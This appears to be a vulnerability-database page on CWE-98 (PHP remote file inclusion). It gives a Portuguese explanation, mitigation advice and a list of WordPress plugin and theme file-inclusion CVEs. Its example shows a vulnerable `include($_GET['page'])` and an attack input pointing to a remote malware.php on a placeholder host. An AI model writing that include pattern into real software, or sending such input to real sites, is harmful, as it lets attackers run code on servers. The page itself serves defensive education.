Weaknesses of type CWE-98

1,308 results

Inclusão remota de arquivo

Ocorre quando a aplicação inclui dinamicamente um arquivo (via funções como `include()`, `require()` em PHP) sem validar corretamente a entrada do usuário. Um atacante fornece uma URL remota maliciosa e consegue executar código arbitrário no servidor, comprometendo completamente a aplicação.

Example

Uma página PHP recebe um parâmetro `page` e faz `include($_GET['page'])`. Um atacante passa `page=http://seuservidor.com/malware.php` e consegue executar o arquivo malicioso no contexto do servidor web, roubando dados ou instalando backdoors.

How to mitigate

Valide rigorosamente entrada de usuário: use lista branca de arquivos permitidos, não permita URLs remotas, desabilite as directives `allow_url_include` e `allow_url_fopen` no PHP, e sempre sanitize caminhos de arquivo.

CVE-2016-20080MEDIUMWordPress Brandfolder Plugin 3.0 Local File Inclusion via callback.phpEPSS 0.4%CVE-2025-68537HIGHWordPress Zota theme <= 1.3.14 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68540HIGHWordPress Fana theme <= 1.1.35 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68563HIGHWordPress Subscribe to Unlock Lite plugin <= 1.3.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-88994MEDIUMAll Bootstrap Blocks 1.3.20 - 1.3.31 - Contributor+ LFI via lightspeed Block AttributesEPSS 0.4%CVE-2025-68067HIGHWordPress Stockholm Core plugin <= 2.4.6 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68066HIGHWordPress Soledad theme <= 8.7.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-25326HIGHWordPress CMSMasters Content Composer plugin <= 1.4.5 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2022-50954MEDIUMWordPress Plugin cab-fare-calculator 1.0.3 Local File InclusionEPSS 0.4%CVE-2025-69087HIGHWordPress FreeAgent theme <= 2.1.2 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68841HIGHWordPress TopperPack – Complete Elementor Addons, theme & CPT Builder plugin <= 1.2.1 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69083HIGHWordPress Frappé theme <= 1.8 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69086HIGHWordPress Issabella theme <= 1.1.2 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69342HIGHWordPress Calafate theme <= 1.7.7 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-69356HIGHWordPress TheGem Theme Elements (for Elementor) plugin <= 5.11.0 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-68560HIGHWordPress TheGem Theme Elements (for Elementor) plugin <= 5.10.5.1 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-12194LOWPHPIPAM Authenticated LFIEPSS 0.4%CVE-2025-26137HIGHSystemic Risk Value <=2.8.0 is vulnerable to Local File Inclusion via /GetFile.aspx?ReportUrl=. An unauthenticated attacker can exploit thisEPSS 0.4%CVE-2016-20077MEDIUMWordPress Plugin Photocart Link 1.6 Local File Inclusion via decode.phpEPSS 0.4%CVE-2025-68068HIGHWordPress Stockholm theme <= 9.14.1 - Local File Inclusion vulnerabilityEPSS 0.4%